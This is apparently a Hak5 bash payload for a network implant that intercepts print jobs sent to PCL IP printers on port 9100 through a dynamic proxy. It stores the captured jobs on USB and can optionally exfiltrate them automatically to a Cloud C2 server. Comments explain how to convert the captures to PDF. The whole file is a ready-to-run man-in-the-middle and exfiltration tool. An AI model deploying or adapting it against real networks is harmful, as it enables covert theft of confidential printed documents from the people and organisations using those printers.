54 lines
1.3 KiB
Plaintext
54 lines
1.3 KiB
Plaintext
|
#!/bin/bash
|
||
|
|
||
|
# Title: PCL Printer Capture
|
||
|
# Description: Capture PCL IP printer jobs with a dynamic proxy
|
||
|
# Author: Hak5
|
||
|
|
||
|
# To convert PCL files to PDF, use a tool like GhostPCL:
|
||
|
# https://ghostscript.com/releases/gpcldnld.html
|
||
|
#
|
||
|
# To convert a stream (captured-file.stream) to PDF (printed.pdf), use something
|
||
|
# like:
|
||
|
# ./gpcl6-1000-linux-x86_64 -o printed.pdf -sDEVICE=pdfwrite captured-file.stream
|
||
|
|
||
|
# Do we automatically exfiltrate to Cloud C2? Uncomment to send files to your
|
||
|
# CloudC2 server automatically
|
||
|
#
|
||
|
# USE_C2=1
|
||
|
|
||
|
# By default, C2WATCHDIR removes files after they're sent. To keep them, uncomment
|
||
|
# C2_KEEP_FILES below
|
||
|
#
|
||
|
# C2_KEEP_FILES=1
|
||
|
|
||
|
LED SETUP
|
||
|
|
||
|
NETMODE NAT
|
||
|
|
||
|
# We have to have attached USB
|
||
|
USB_WAIT
|
||
|
|
||
|
# Make sure the directory exists
|
||
|
mkdir /usb/printer/
|
||
|
|
||
|
# If USE_C2 isn't empty, we're uploading to CloudC2
|
||
|
if [[ ! -z "$USE_C2" ]]; then
|
||
|
# If C2_KEEP_FILES is not empty, we want to preserve the
|
||
|
# files on USB, otherwise run C2WATCHDIR normally and delete
|
||
|
# the files after they are sent.
|
||
|
if [[ ! -z "$C2_KEEP_FILES" ]]; then
|
||
|
C2_KEEP_FILES=1 C2WATCHDIR /usb/printer/ &
|
||
|
else
|
||
|
C2WATCHDIR /usb/printer/ &
|
||
|
fi
|
||
|
|
||
|
# Give C2WATCHDIR a moment to sync any old files that were present
|
||
|
sleep 3
|
||
|
fi
|
||
|
|
||
|
LED ATTACK
|
||
|
|
||
|
# Use a dynamic proxy to MITM standard PCL IP printers
|
||
|
DYNAMICPROXY CLIENT /usb/printer/print_ 9100
|
||
|
|